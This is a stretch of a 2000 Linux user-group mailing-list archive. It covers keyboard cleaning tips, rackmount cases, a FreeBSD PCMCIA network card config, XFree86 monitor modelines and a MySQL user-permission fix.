Sun, Dec 03, 2000 at 10:24:25AM -0600 References: <20001203100203.B22868@real-time.com> Message-ID: <20001203172000.B29584@real-time.com> > Do the keys pop off? > Should be able to take the keys off. > Turn upside down and shake all the big chinks off. > Then use Q-Tip and alcohol to get between the spaces. > Can clean the keys themselves with alcohol. I tried rubbing alcohol, but it didn't seem to do much good. maybe I have to take the keycaps off and soak them in alcohol or something. Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From spaltzer at yahoo.com Sun Dec 3 17:41:50 2000 From: spaltzer at yahoo.com (Steve Paltzer) Date: Mon Jan 17 13:12:59 2005 Subject: [TCLUG] HI-TEC 1 U chassis Message-ID: <20001203234150.17414.qmail@web112.yahoomail.com> Hello all, I am also in the market for a rackmount case, but I am looking for some thing in a 4 or 5 U chassis. All of the ones I have found are expensive, more than $200. Apu, colorcases.com has a new web page (http://63.163.201.230/), but they do not have any pictures of their rackmout cases yet. They might have something good L@@King in the future. -Steve 2 different places with some crazy color cases. http://www.colorcases.com http://www.colorcase.com --- Apu wrote: > Can anyone recommend me a HI - TECH 1 U chassis ? I am looking for the one's > L@@Ks cool and relatively not that pricy.. > > Apu > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From andy at theasis.com Sun Dec 3 17:55:49 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:12:59 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: <20001203172000.B29584@real-time.com> Message-ID: > > I tried rubbing alcohol, but it didn't seem to do much good. maybe I have to > take the keycaps off and soak them in alcohol or something. Ahh, for the caps, if they're covered in grime that needs to be scraped off (try one and see), a stronger solvent may be necessary. If you're gonna soak them in anything, try soap first. Other stuff may actually degrade the plastic, or the markings on the keys. Andy > > Carl Soderstrom > From fritchie at mr.net Sun Dec 3 18:05:31 2000 From: fritchie at mr.net (Scott Lystig Fritchie) Date: Mon Jan 17 13:12:59 2005 Subject: [TCLUG] FreeBSD PCMCIA was: Solaris for Intel In-Reply-To: Message of "Sat, 02 Dec 2000 18:39:38 EST." <3A29883A.8418DBAC@oak.cats.ohiou.edu> Message-ID: <200012040005.eB405QS26492@postoffice.mr.net> >>>>> "cf" == Charles Fulton writes: cf> Not exactly Linux but since you have FreeBSD on a laptop maybe you cf> can help. I can't seem to get the PCMCIA to work properly. I cf> enables the service and the kernel sees my NIC (3c589) but says cf> the configuration failed. It's a 56k/10bT combo card by the way. You'll need to make certain there isn't some minor revision code on the model number. My 3C589 card claims to be a "Megahertz 589E". I've got the following in my /etc/pccard.conf file: # 3Com Megahertz 3CCE589E* 10 Mbps LAN PC Card -SLF card "3Com" "Megahertz 589E" # orig: config 0x1 "ep0" 10 config 0x1 "ep0" 3 insert echo 3Com Megahertz Ethernet card inserted insert /etc/pccard_ether ep0 remove echo 3Com Megahertz Ethernet card removed remove /sbin/ifconfig ep0 delete I don't recall why I'd started using the second "config" line instead of the first. If I remember correctly, I'd booted Win98, checked the device configuration and found the 589 to be using IRQ 10, used it for a while, then the card stopped working, booted Win98 again, found the card was using IRQ 3, modified /etc/pccard.conf, and it's been happy ever since. -Scott From blutgens at sistina.com Sun Dec 3 19:03:30 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:00 2005 Subject: [TCLUG] FreeBSD PCMCIA was: Solaris for Intel In-Reply-To: <200012040005.eB405QS26492@postoffice.mr.net>; from fritchie@mr.net on Sun, Dec 03, 2000 at 06:05:31PM -0600 References: <3A29883A.8418DBAC@oak.cats.ohiou.edu> <200012040005.eB405QS26492@postoffice.mr.net> Message-ID: <20001203190330.A2693@socrates.sistina.com> On Sun, Dec 03, 2000 at 06:05:31PM -0600, Scott Lystig Fritchie wrote: >>>>>> "cf" == Charles Fulton writes: > >cf> Not exactly Linux but since you have FreeBSD on a laptop maybe you >cf> can help. I can't seem to get the PCMCIA to work properly. I >cf> enables the service and the kernel sees my NIC (3c589) but says >cf> the configuration failed. It's a 56k/10bT combo card by the way. > Paste in the exact errors (I know it's not on the network but if you could transcribe it it would help) Make double sure the IRQ it's trying to give to the pccard isn't taken. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... 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It has a great big fan in the front for cooling too, with filter. Jay > -----Original Message----- > From: Steve Paltzer [mailto:spaltzer@yahoo.com] > Sent: Sunday, December 03, 2000 5:42 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] HI-TEC 1 U chassis > > > Hello all, > > I am also in the market for a rackmount case, but I am > looking for some thing > in a 4 or 5 U chassis. All of the ones I have found are > expensive, more than > $200. > > Apu, colorcases.com has a new web page > (http://63.163.201.230/), but they do > not have any pictures of their rackmout cases yet. They might > have something > good L@@King in the future. > > -Steve > > 2 different places with some crazy color cases. > http://www.colorcases.com > http://www.colorcase.com > > > --- Apu wrote: > > Can anyone recommend me a HI - TECH 1 U chassis ? I am > looking for the one's > > L@@Ks cool and relatively not that pricy.. > > > > Apu > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > __________________________________________________ > Do You Yahoo!? > Yahoo! Shopping - Thousands of Stores. Millions of Products. > http://shopping.yahoo.com/ > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From chrome at real-time.com Sun Dec 3 19:24:22 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:13:00 2005 Subject: [TCLUG] XFree86 4.0.1 and NEC Multisync 2A Message-ID: <20001203192422.A29927@real-time.com> I set up XF86 4.0.1 on my computer recently, with a really nice 21" ViewSonic PT810 on one output, and a really crappy 14" NEC Multisync 2A on the other. Thanks to Yaron, I have good modelines for the ViewSonic (from my XF86 3.3.6 setup); however, the NEC won't work with any default mode other than 640x480@60Hz. so in case anyone else out there has to deal with one of these monitors under X, here's my collection of notes on what I did and learned. to configure the NEC, I set it up as the primary monitor, so when I launched xvidtune, it would read and adjust that one. I guessed up a modeline by going to http://zaph.com/Modeline/; and putting in the desired resolution and refresh rate. I put that in the XF86Config file, and launched X. the NEC display would be screwed up, but the ViewSonic would be fine. So I launched xvidtune, and dragged it over to the Viewsonic screen. where I could see what I was doing. :) I clicked on the 'Auto' button, so changes would take effect immeditately; then tried adjusting various values to see if that would produce a working resolution. for this monitor type, clicking on the 'Narrower' button would usually eventually produce a working mode, albeit at a lower refresh rate. this NEC Multisync, despite it's name, doesn't want to work for a very wide range of refresh rates. this monitor doesn't have a horizontal width adjustment, nor a degauss button. this seriously sucks. because of this, one needs to adjust the horizontal width, with the modeline. (and the wider the display is 'painted' on the screen, the lower the refresh rate will be). I know that I had one of these monitors running at 1024x768 once, but that was with a DOS program written by NEC to show off their monitor. according to Xconfigurator's MonitorsDB file: for the NEC Multisync 2a (guessed from the 2V) hsync range 0: 30.00 - 57.00 vsync range 0: 50.00 - 100.00 # in order, the modeline numbers are: # "name" dotclock hdisp hsyncstart hsyncend htotal vdisp vsyncstart vsyncend vtotal # 640x480 @ 69Hz "640x480" 27.30 640 644 676 776 480 482 484 504 # 640x480 @73Hz "640x480" 29.50 640 644 676 808 480 482 484 501 # 800x600 @ 58.61Hz "800x600" 44.18 800 880 928 1208 600 602 604 624 # 800x600 @ 54.43Hz (but fills the screen wider than the above modeline) "800x600" 33.65 800 804 844 960 600 606 608 644 Carl. -- Network Engineer Real-Time Enterprises (952) 943-8700 From lerwick at tcfreenet.org Sun Dec 3 22:29:50 2000 From: lerwick at tcfreenet.org (Callum Lerwick) Date: Mon Jan 17 13:13:00 2005 Subject: [TCLUG] Fonts, Mozilla and eye strain References: <20001203170821.G26658@real-time.com> <3A2AD4F7.B660BB7@unitelc.com> Message-ID: <3A2B1DBE.154A1A6B@tcfreenet.org> dgorentz@unitelc.com wrote: > > You might want to try: > > http://fox.mit.edu/skunk/xwin/ http://fox.mit.edu/skunk/xwin/xterm_sizes.gif Jebus christ. Is this guy blind? From MichaelTown at kbgear.com Mon Dec 4 07:54:46 2000 From: MichaelTown at kbgear.com (Michael Town) Date: Mon Jan 17 13:13:00 2005 Subject: [TCLUG] Re: [OT] My OmniKey died!!!!!!!!!! Message-ID: <6BA49D5F5CB3D311862E00C04F10C2BC40DB67@KBGEARSRV> >anyone know how to clean the accumulated dust & grime off one of these >things safely? mine is looking pretty nasty by now. :) OK, There was a tech at my old job who swore by this. You ready? Put it in the dishwasher. I have never needed to do this, but in theory it should work. That, and your keyboard will have that lovely lemony detergent smell :) As I can't tell you if that works, you should test it on a cheap keyboard first. Michael Town KB Gear Interactive michaeltown@kbgear.com From kethry at winternet.com Mon Dec 4 08:22:23 2000 From: kethry at winternet.com (Liz Burke-Scovill) Date: Mon Jan 17 13:13:00 2005 Subject: [TCLUG] Re: [OT] My OmniKey died!!!!!!!!!! In-Reply-To: <6BA49D5F5CB3D311862E00C04F10C2BC40DB67@KBGEARSRV> Message-ID: I've heard that too! Don't remember where, but I think the key was (no pun intended) to NOT use dishwasher detergent and to run it through a cycle (probably low heat would be my guess and drip dry) Liz On Mon, 4 Dec 2000, Michael Town wrote: > >anyone know how to clean the accumulated dust & grime off one of these > >things safely? mine is looking pretty nasty by now. :) > > OK, There was a tech at my old job who swore by this. You ready? > > Put it in the dishwasher. > > I have never needed to do this, but in theory it should work. That, and > your keyboard will have that lovely lemony detergent smell :) > > As I can't tell you if that works, you should test it on a cheap keyboard > first. > > Michael Town > KB Gear Interactive > michaeltown@kbgear.com > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html From keho at cpinternet.com Mon Dec 4 08:32:33 2000 From: keho at cpinternet.com (John Keho) Date: Mon Jan 17 13:13:00 2005 Subject: [TCLUG] Remove from mail-list Message-ID: <001401c05dff$0b0cb640$1aa0fbd8@oemcomputer> Please remove keho@computerpro.com from your mail-list. -------------- next part -------------- An HTML attachment was scrubbed... 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Actually I wouldn't put a keyboard in the dishwasher in the first place, ecpt maybe for fun (: -Yaron -- From bastleford at platinumdg.com Mon Dec 4 08:55:17 2000 From: bastleford at platinumdg.com (Brett Astleford) Date: Mon Jan 17 13:13:00 2005 Subject: [TCLUG] php&&mysql Message-ID: <01a101c05e02$377a6e90$2d01a8c0@platinumpersonals.com> hello all, I gotta problem, however this problem wanes between programming & system administration. Here it goes, when I log in mysql I get in fine. But when I try through code, something adds @localhost, example usr@localhost. Mysql doesn't like that @localhost. So is that conf in php, mysql or what??? TIA Brett Astleford Platinum Design Group bastleford@platinumdg.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001204/597af381/attachment.htm From blackk100 at hotmail.com Mon Dec 4 09:58:10 2000 From: blackk100 at hotmail.com (Kelly Black) Date: Mon Jan 17 13:13:00 2005 Subject: [TCLUG] Re: [OT] My OmniKey died!!!!!!!!!! Message-ID: I have done this (with the water temp lowered so plastics would not melt), at a repair company called Express Point (formerly Northstar Matrix). Kelly Black >From: Liz Burke-Scovill >Reply-To: tclug-list@lists.real-time.com >To: "'tclug-list@lists.real-time.com'" >Subject: Re: [TCLUG] Re: [OT] My OmniKey died!!!!!!!!!! >Date: Mon, 4 Dec 2000 08:22:23 -0600 (CST) > > >I've heard that too! Don't remember where, but I think the key was (no pun >intended) to NOT use dishwasher detergent and to run it through a cycle >(probably low heat would be my guess and drip dry) > >Liz > >On Mon, 4 Dec 2000, Michael Town wrote: > > > >anyone know how to clean the accumulated dust & grime off one of these > > >things safely? mine is looking pretty nasty by now. :) > > > > OK, There was a tech at my old job who swore by this. You ready? > > > > Put it in the dishwasher. > > > > I have never needed to do this, but in theory it should work. That, and > > your keyboard will have that lovely lemony detergent smell :) > > > > As I can't tell you if that works, you should test it on a cheap >keyboard > > first. > > > > Michael Town > > KB Gear Interactive > > michaeltown@kbgear.com _____________________________________________________________________________________ Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com From austad at marketwatch.com Mon Dec 4 09:57:31 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:00 2005 Subject: [TCLUG] php&&mysql Message-ID: It's MySQL adding the @localhost. You need to add the usr@localhost to MySQL and give it permissions on the database that you need access to. For example: Login to the database: bash$ mysql -u root -p Create the user and grant permissions on the database: mysql> grant INSERT,SELECT,DELETE on databasename.* to usr@localhost; This should fix your problem. Replace "databasename" witht the name of the database your php stuff is using. Jay -----Original Message----- From: Brett Astleford [mailto:bastleford@platinumdg.com] Sent: Monday, December 04, 2000 8:55 AM To: tclug-list@mn-linux.org Subject: [TCLUG] php&&mysql hello all, I gotta problem, however this problem wanes between programming & system administration. Here it goes, when I log in mysql I get in fine. But when I try through code, something adds @localhost, example usr@localhost. Mysql doesn't like that @localhost. So is that conf in php, mysql or what??? TIA Brett Astleford Platinum Design Group bastleford@platinumdg.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001204/f3e124f4/attachment.html From fjorn at mninter.net Mon Dec 4 10:43:25 2000 From: fjorn at mninter.net (fjorn) Date: Mon Jan 17 13:13:00 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! References: Message-ID: <3A2BC9AD.EACE636B@mninter.net> I must be the odd one here. I like to type on a quiet keyboard. Can't stand the incessant clickety-click while typing. Worked with a guy who had one of those. Needless to say one day it died, and was I ever grateful that he couldn't find anymore like it! Why do you need a noisey KB to type anyway? Is it to make sure that you know you're hitting the key? Why not just look at the monitor when typing instead of your fingers, makes better use of your time. For me, I prefer the newer vintage IBM keyboards.... Gone are the days of being in a noisey computer room that masked the noise of the old keyboards. Shawn From kethry at winternet.com Mon Dec 4 10:48:04 2000 From: kethry at winternet.com (Liz Burke-Scovill) Date: Mon Jan 17 13:13:00 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: <3A2BC9AD.EACE636B@mninter.net> Message-ID: Nope - you're not the only one - though I prefer something somewhere in the middle - but then I started out typing on IRC and as a secretary - and I can type faster one a quieter keyboard - and allow the tactile impression give me the sastifaction that the clickety-clack USED to provide me with when I was learning to type. (It was so cool to hear the clickety-clacks get faster and faster - but the noise is more distracting now *chuckle*). Liz On Mon, 4 Dec 2000, fjorn wrote: > I must be the odd one here. I like to type on a quiet keyboard. Can't stand > the incessant clickety-click while typing. Worked with a guy who had one of > those. Needless to say one day it died, and was I ever grateful that he > couldn't find anymore like it! > > Why do you need a noisey KB to type anyway? Is it to make sure that you know > you're hitting the key? Why not just look at the monitor when typing instead of > your fingers, makes better use of your time. > > For me, I prefer the newer vintage IBM keyboards.... Gone are the days of being > in a noisey computer room that masked the noise of the old keyboards. > > Shawn > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html From ben at nerp.net Mon Dec 4 10:50:36 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:13:01 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: <3A2BC9AD.EACE636B@mninter.net> Message-ID: I think it's not more of the noise, but the feel, the noisy keyboards genearly have a better feel, of something actualy hapening when you type.. plus some of us have to look at a 2nd source of information when they type, and can't look at the screen to see what they just typed.. it's the full feedback thing.. plus, from what I've seen, most of the soft-key keypads can be sticky, just low-quality crap.. makes it hard to type on. at work I have an old IBM AT thing, with the removeable keycaps, I pop all the caps off, and dishwasher them everyonce in a while.. I don't dishwasher the whole keyboard tho.. Thank You, Ben Kochie (ben@nerp.net) *-----------------------* [ - * - * - * - * - * - * - * - ] | Unix/Linux Consulting | [ Haiku Error Message: ] | PC/Mac Repair | [ Chaos reigns within. ] | Networking | [ Reflect, repent, and reboot. ] | http://nerp.net | [ Order shall return. ] *-----------------------* [ - * - * - * - * - * - * - * - ] "Unix is user friendly, Its just picky about its friends." On Mon, 4 Dec 2000, fjorn wrote: > I must be the odd one here. I like to type on a quiet keyboard. Can't stand > the incessant clickety-click while typing. Worked with a guy who had one of > those. Needless to say one day it died, and was I ever grateful that he > couldn't find anymore like it! > > Why do you need a noisey KB to type anyway? Is it to make sure that you know > you're hitting the key? Why not just look at the monitor when typing instead of > your fingers, makes better use of your time. > > For me, I prefer the newer vintage IBM keyboards.... Gone are the days of being > in a noisey computer room that masked the noise of the old keyboards. > > Shawn > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From natecars at real-time.com Mon Dec 4 11:13:28 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:01 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: Message-ID: On Mon, 4 Dec 2000, Ben Kochie wrote: > I think it's not more of the noise, but the feel, the noisy keyboards > genearly have a better feel, of something actualy hapening when you type.. > plus some of us have to look at a 2nd source of information when they > type, and can't look at the screen to see what they just typed.. it's the > full feedback thing.. plus, from what I've seen, most of the soft-key > keypads can be sticky, just low-quality crap.. makes it hard to type on. > at work I have an old IBM AT thing, with the removeable keycaps, I pop all > the caps off, and dishwasher them everyonce in a while.. I don't > dishwasher the whole keyboard tho.. I'm on a HP keyboard right now.. it's not really clicky, but you can hear each keystroke, and feel it.. I much prefer this over the old IBM keyboards where you have you slam each key down.. I can type a helluva lot faster. :) Plus, the noise of the keycaps just makes you turn the music up louder.. which I'm sure would piss off my neighbors back here (*waves to chad and carl*) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From jethro at freakzilla.com Mon Dec 4 11:19:30 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:01 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: <3A2BC9AD.EACE636B@mninter.net> Message-ID: Hi, On Mon, 4 Dec 2000, fjorn wrote: > Why do you need a noisey KB to type anyway? Is it to make sure that you know > you're hitting the key? Why not just look at the monitor when typing instead of > your fingers, makes better use of your time. It's not so much the NOISE. It's the FEEL of the CLICK. It's hard to explain, it's a tactile thing rather than an audio thing. Just feels better than those MUSHY keyboards. As a side-effect it's loud. I really don't mind. -Yaron -- From b.layer at vikingelectronics.com Mon Dec 4 11:22:37 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:01 2005 Subject: [TCLUG] (OT) Video card needed In-Reply-To: References: Message-ID: <0012041122370D.00326@Billbob_Linux> I'm in need of a basic AGP (maybe even PCI if I get the right deal) video card, 8MB or better. An older TNT1 16MB card would be ideal; I don't need anything fancy, something that was state-of-the-art two years ago would be fine. Of course, linux support is mandatory. If you have such an item for sale or trade, please reply off-list. Thanks! -- Bill Layer From nolanjm at juno.com Mon Dec 4 11:22:37 2000 From: nolanjm at juno.com (Jerry M Nolan) Date: Mon Jan 17 13:13:01 2005 Subject: [TCLUG] Re: tclug-list kybd cleaning Message-ID: <20001204.112237.-3848977.1.nolanjm@juno.com> down at the po we just sprayed some 409 and held it upside down, so it wouldn't hit the membrane. then use a medium flat blade screwdriver to clean between the keytops we did this about once a month cuz of all the dust on the workroom floor. never had a failure. here at home I once tried taking one apart that had already failed. I washed the PCB with alcohol and a lint free q-tip . it worked for about 2 weeks. good luck, Jerry ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From dieman at ringworld.org Mon Dec 4 11:42:43 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:13:01 2005 Subject: [TCLUG] (OT) Video card needed In-Reply-To: <0012041122370D.00326@Billbob_Linux>; from b.layer@vikingelectronics.com on Mon, Dec 04, 2000 at 11:22:37AM -0600 References: <0012041122370D.00326@Billbob_Linux> Message-ID: <20001204114243.H15922@ringworld.org> You might wanna see if someones got a g200 or g400 laying around. Nice 2d cards for using with X. -- Scott Dier #nicnac@efnet http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... 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That would be superb. -- Bill Layer Sales Technician +----------------------------------+ Viking Electronics, Inc. 1531 Industrial St. Hudson, WI. 54016 - U.S.A 715.386.8861 ext. 210 +----------------------------------+ "Telecom Solutions for the 21st Century" Powered by Slackware Linux 7.1.0 From keho at cpinternet.com Mon Dec 4 12:16:31 2000 From: keho at cpinternet.com (John Keho) Date: Mon Jan 17 13:13:01 2005 Subject: [TCLUG] Re: tclug-list digest, Vol 1 #486 - 8 msgs References: <200012041805.eB4I58n02277@sprite.real-time.com> Message-ID: <001e01c05e1e$54a1e5e0$1aa0fbd8@oemcomputer> REMOVE keho@computerpro.com REMOVE keho@cpinternet.com -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ----- Original Message ----- From: To: Sent: Monday, December 04, 2000 12:05 PM Subject: tclug-list digest, Vol 1 #486 - 8 msgs > Send tclug-list mailing list submissions to > tclug-list@lists.real-time.com > > To subscribe or unsubscribe via the World Wide Web, visit > https://mailman.real-time.com/mailman/listinfo/tclug-list > or, via email, send a message with subject or body 'help' to > tclug-list-request@lists.real-time.com > > You can reach the person managing the list at > tclug-list-admin@lists.real-time.com > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of tclug-list digest..." > > > Today's Topics: > > 1. Re: [OT] My OmniKey died!!!!!!!!!! (fjorn) > 2. Re: [OT] My OmniKey died!!!!!!!!!! (Liz Burke-Scovill) > 3. Re: [OT] My OmniKey died!!!!!!!!!! (Ben Kochie) > 4. Re: [OT] My OmniKey died!!!!!!!!!! (Nate Carlson) > 5. Re: [OT] My OmniKey died!!!!!!!!!! (Yaron) > 6. (OT) Video card needed (Bill Layer) > 7. Re: tclug-list kybd cleaning (Jerry M Nolan) > 8. Re: (OT) Video card needed (Scott Dier) > > --__--__-- > > Message: 1 > Date: Mon, 04 Dec 2000 10:43:25 -0600 > From: fjorn > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] [OT] My OmniKey died!!!!!!!!!! > Reply-To: tclug-list@lists.real-time.com > > I must be the odd one here. I like to type on a quiet keyboard. Can't stand > the incessant clickety-click while typing. Worked with a guy who had one of > those. Needless to say one day it died, and was I ever grateful that he > couldn't find anymore like it! > > Why do you need a noisey KB to type anyway? Is it to make sure that you know > you're hitting the key? Why not just look at the monitor when typing instead of > your fingers, makes better use of your time. > > For me, I prefer the newer vintage IBM keyboards.... Gone are the days of being > in a noisey computer room that masked the noise of the old keyboards. > > Shawn > > > --__--__-- > > Message: 2 > Date: Mon, 4 Dec 2000 10:48:04 -0600 (CST) > From: Liz Burke-Scovill > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] [OT] My OmniKey died!!!!!!!!!! > Reply-To: tclug-list@lists.real-time.com > > > Nope - you're not the only one - though I prefer something somewhere in > the middle - but then I started out typing on IRC and as a secretary - and > I can type faster one a quieter keyboard - and allow the tactile > impression give me the sastifaction that the clickety-clack USED to > provide me with when I was learning to type. (It was so cool to hear the > clickety-clacks get faster and faster - but the noise is more distracting > now *chuckle*). > > Liz > > On Mon, 4 Dec 2000, fjorn wrote: > > > I must be the odd one here. I like to type on a quiet keyboard. Can't stand > > the incessant clickety-click while typing. Worked with a guy who had one of > > those. Needless to say one day it died, and was I ever grateful that he > > couldn't find anymore like it! > > > > Why do you need a noisey KB to type anyway? Is it to make sure that you know > > you're hitting the key? Why not just look at the monitor when typing instead of > > your fingers, makes better use of your time. > > > > For me, I prefer the newer vintage IBM keyboards.... Gone are the days of being > > in a noisey computer room that masked the noise of the old keyboards. > > > > Shawn > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > -- > Imagination is intelligence having fun... > e-mail: kethry@winternet.com > URL: http://WWW.winternet.com/~kethry/index.html > > > --__--__-- > > Message: 3 > Date: Mon, 4 Dec 2000 10:50:36 -0600 (CST) > From: Ben Kochie > To: > Subject: Re: [TCLUG] [OT] My OmniKey died!!!!!!!!!! > Reply-To: tclug-list@lists.real-time.com > > I think it's not more of the noise, but the feel, the noisy keyboards > genearly have a better feel, of something actualy hapening when you type.. > plus some of us have to look at a 2nd source of information when they > type, and can't look at the screen to see what they just typed.. it's the > full feedback thing.. plus, from what I've seen, most of the soft-key > keypads can be sticky, just low-quality crap.. makes it hard to type on. > at work I have an old IBM AT thing, with the removeable keycaps, I pop all > the caps off, and dishwasher them everyonce in a while.. I don't > dishwasher the whole keyboard tho.. > > Thank You, > Ben Kochie (ben@nerp.net) > > *-----------------------* [ - * - * - * - * - * - * - * - ] > | Unix/Linux Consulting | [ Haiku Error Message: ] > | PC/Mac Repair | [ Chaos reigns within. ] > | Networking | [ Reflect, repent, and reboot. ] > | http://nerp.net | [ Order shall return. ] > *-----------------------* [ - * - * - * - * - * - * - * - ] > > "Unix is user friendly, Its just picky about its friends." > > On Mon, 4 Dec 2000, fjorn wrote: > > > I must be the odd one here. I like to type on a quiet keyboard. Can't stand > > the incessant clickety-click while typing. Worked with a guy who had one of > > those. Needless to say one day it died, and was I ever grateful that he > > couldn't find anymore like it! > > > > Why do you need a noisey KB to type anyway? Is it to make sure that you know > > you're hitting the key? Why not just look at the monitor when typing instead of > > your fingers, makes better use of your time. > > > > For me, I prefer the newer vintage IBM keyboards.... Gone are the days of being > > in a noisey computer room that masked the noise of the old keyboards. > > > > Shawn > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > --__--__-- > > Message: 4 > Date: Mon, 4 Dec 2000 11:13:28 -0600 (CST) > From: Nate Carlson > To: > Subject: Re: [TCLUG] [OT] My OmniKey died!!!!!!!!!! > Reply-To: tclug-list@lists.real-time.com > > On Mon, 4 Dec 2000, Ben Kochie wrote: > > I think it's not more of the noise, but the feel, the noisy keyboards > > genearly have a better feel, of something actualy hapening when you type.. > > plus some of us have to look at a 2nd source of information when they > > type, and can't look at the screen to see what they just typed.. it's the > > full feedback thing.. plus, from what I've seen, most of the soft-key > > keypads can be sticky, just low-quality crap.. makes it hard to type on. > > at work I have an old IBM AT thing, with the removeable keycaps, I pop all > > the caps off, and dishwasher them everyonce in a while.. I don't > > dishwasher the whole keyboard tho.. > > I'm on a HP keyboard right now.. it's not really clicky, but you can hear > each keystroke, and feel it.. I much prefer this over the old IBM > keyboards where you have you slam each key down.. I can type a helluva lot > faster. :) > > Plus, the noise of the keycaps just makes you turn the music up louder.. > which I'm sure would piss off my neighbors back here (*waves to chad and > carl*) > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > > --__--__-- > > Message: 5 > Date: Mon, 4 Dec 2000 11:19:30 -0600 (CST) > From: Yaron > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] [OT] My OmniKey died!!!!!!!!!! > Reply-To: tclug-list@lists.real-time.com > > Hi, > > On Mon, 4 Dec 2000, fjorn wrote: > > > Why do you need a noisey KB to type anyway? Is it to make sure that you know > > you're hitting the key? Why not just look at the monitor when typing instead of > > your fingers, makes better use of your time. > > It's not so much the NOISE. It's the FEEL of the CLICK. It's hard to > explain, it's a tactile thing rather than an audio thing. Just feels > better than those MUSHY keyboards. > > As a side-effect it's loud. I really don't mind. > > -Yaron > > -- > > > --__--__-- > > Message: 6 > From: "Bill Layer" > Organization: Viking Electronics, Inc. > Date: Mon, 4 Dec 2000 11:22:37 -0600 > To: tclug-list@lists.real-time.com > Subject: [TCLUG] (OT) Video card needed > Reply-To: tclug-list@lists.real-time.com > > I'm in need of a basic AGP (maybe even PCI if I get the right deal) video > card, 8MB or better. An older TNT1 16MB card would be ideal; I don't need > anything fancy, something that was state-of-the-art two years ago would be > fine. Of course, linux support is mandatory. > > If you have such an item for sale or trade, please reply off-list. Thanks! > > -- > Bill Layer > > > --__--__-- > > Message: 7 > To: tclug-list@lists.real-time.com > Date: Mon, 4 Dec 2000 11:22:37 -0600 > From: Jerry M Nolan > Subject: [TCLUG] Re: tclug-list kybd cleaning > Reply-To: tclug-list@lists.real-time.com > > down at the po we just sprayed some 409 and held it upside down, so it > wouldn't hit the > membrane. then use a medium flat blade screwdriver to clean between the > keytops > we did this about once a month cuz of all the dust on the workroom floor. > never had a failure. here at home I once tried taking one apart that > had already failed. I washed the > PCB with alcohol and a lint free q-tip . it worked for about 2 weeks. > good luck, Jerry > ________________________________________________________________ > GET INTERNET ACCESS FROM JUNO! > Juno offers FREE or PREMIUM Internet access for less! > Join Juno today! For your FREE software, visit: > http://dl.www.juno.com/get/tagj. > > --__--__-- > > Message: 8 > Date: Mon, 4 Dec 2000 11:42:43 -0600 > From: Scott Dier > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] (OT) Video card needed > Reply-To: tclug-list@lists.real-time.com > > > --tcC6YSqBgqqkz7Sb > Content-Type: text/plain; charset=us-ascii > Content-Disposition: inline > Content-Transfer-Encoding: quoted-printable > > You might 